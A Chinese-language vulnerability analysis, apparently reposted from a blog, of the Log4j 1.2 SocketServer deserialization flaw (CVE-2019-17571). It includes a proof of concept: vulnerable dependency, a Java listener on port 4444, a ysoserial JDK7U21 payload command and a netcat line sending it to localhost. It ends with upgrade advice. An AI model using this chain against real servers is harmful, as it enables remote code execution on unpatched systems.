仅用于研究漏洞原理,禁止用于非法用途,后果自负!!!
Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。
方便测试,添加JDK7U21的漏洞环境
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
public class CVE_2019_17571 {
private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
public static void main(String[] args) {
System.out.println("start:");
String[] argss = {"4444", "src/log4j.properties"};
SimpleSocketServer.main(argss);
log.info("succ");
}
}
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444
org.apache.log4j.net.SocketNode#run()
在run()方法中直接进行反序列化
目前官方已在Apache Log4j 2.8.2版本之后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防护.
Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
原文:https://www.cnblogs.com/wadewfsssss/p/12100436.html